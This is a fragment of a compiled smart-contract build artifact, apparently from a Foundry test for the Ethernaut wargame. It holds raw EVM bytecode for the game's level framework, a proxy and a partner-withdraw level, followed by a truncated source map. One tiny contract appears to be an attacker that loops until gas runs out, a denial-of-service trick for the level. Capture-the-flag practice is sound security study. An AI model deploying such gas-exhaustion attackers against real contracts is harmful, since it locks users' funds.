454575f80fd5b813561045f81610430565b9392505050565b5f8060408385031215610477575f80fd5b823561048281610430565b9150602083013561049281610430565b809150509250929050565b5f82515f5b818110156104bc57602081860181015185830152016104a2565b505f92019182525091905056fe608060405234801561000f575f80fd5b5061029e8061001d5f395ff3fe60806040526004361061005b575f3560e01c80638b7afe2e116100415780638b7afe2e146100cf5780638da5cb5b146100ee578063be10862b1461011b575f80fd5b80633ccfd60b146100665780634e1c59141461007c575f80fd5b3661006257005b5f80fd5b348015610071575f80fd5b5061007a610139565b005b348015610087575f80fd5b5061007a6100963660046101f7565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3480156100da575f80fd5b506040514781526020015b60405180910390f35b3480156100f9575f80fd5b50610103610a9e81565b6040516001600160a01b0390911681526020016100e5565b348015610126575f80fd5b505f54610103906001600160a01b031681565b5f610145606447610224565b5f80546040519293506001600160a01b031691839181818185875af1925050503d805f811461018f576040519150601f19603f3d011682016040523d82523d5f602084013e610194565b606091505b5050604051610a9e915082156108fc029083905f818181858888f193505050501580156101c3573d5f803e3d5ffd5b50426001555f80546001600160a01b0316815260026020526040812080548392906101ef908490610243565b909155505050565b5f60208284031215610207575f80fd5b81356001600160a01b038116811461021d575f80fd5b9392505050565b5f8261023e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026257634e487b7160e01b5f52601160045260245ffd5b9291505056fea2646970667358221220c80c7ab570f56c0784848d0d1c4246a1fd5eeb7e69a2406c78e5db7a044081cd64736f6c63430008180033a26469706673582212204a5b4fdd8a45f99b48d06deb32f87074d8277fabfe48004be3846df539792ff164736f6c634300081800336080604052348015600e575f80fd5b50603f80601a5f395ff3fe60806040525b600556fea264697066735822122073913c257ae5949b5f4726f5fdb2dd0c7d7aaf116808d29144869901dff1bfd264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122092d5def18f4182ca147ac98fdc73e4f4ac42e645fa7bc9844c709fcea6f5333264736f6c63430008180033","sourceMap":"391:1616:124:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;715:596;;;:::i;:::-;;1324:346:154;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;865:55:155;;;847:74;;835:2;820:18;1324:346:154;;;;;;;;2452:134:5;;;:::i;:::-;;;;;;;:::i;2362:480:154:-;;;;;;:::i;:::-;;:::i;3360:151:5:-;;;:::i;:::-;;;;;;;:::i;3221:133::-;;;:::i;2922:141::-;;;:::i;2738:178::-;;;:::i;:::-;;;;;;;:::i;740:370:154:-;;;;;;:::i;:::-;;:::i;1750:255:124:-;;;:::i;2592:140:5:-;;;:::i;:::-;;;;;;;:::i;2031:325:154:-;;;;;;:::i;:::-;;:::i;3069:146:5:-;;;:::i;1676:349:154:-;;;;;;:::i;:::-;;:::i;:::-;;;9909:14:155;;9902:22;9884:41;;9872:2;9857:18;1676:349:154;9744:187:155;2157:141:5;;;:::i;1563:132:124:-;;;:::i;460:228:154:-;590:8;;;633:26;;;;;;;18998:19:155;;;633:26:154;;;;;;;;;19033:12:155;;;633:26:154;;;623:37;;;;;612:48;;;460:228;;1243:204:1;;;:::i;2304:142:5:-;;;:::i;1177:141:154:-;;;;;;:::i;:::-;;:::i;1016:26:12:-;;;;;;;;;715:596:124;749:30;782:14;794:1;782:11;:14::i;:::-;749:47;;815:5;821:1;815:8;;;;;;;;:::i;:::-;;;;;;;;;;;807:5;:16;;-1:-1:-1;;807:16:124;-1:-1:-1;;;;;807:16:124;;;;;;;;833:24;;;-1:-1:-1;;;833:24:124;;;;;10592:74:155;;;;10682:18;;;10675:30;10741:1;10721:18;;;10714:29;10779:7;10759:18;;;10752:35;833:8:124;;;;10804:19:155;;833:24:124;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;877:5;883:1;877:8;;;;;;;;:::i;:::-;;;;;;;;;;;868:6;:17;;-1:-1:-1;;868:17:124;-1:-1:-1;;;;;868:17:124;;;;;;;;895:26;;;-1:-1:-1;;;895:26:124;;;;;11054:74:155;;;;11144:18;;;11137:30;11203:1;11183:18;;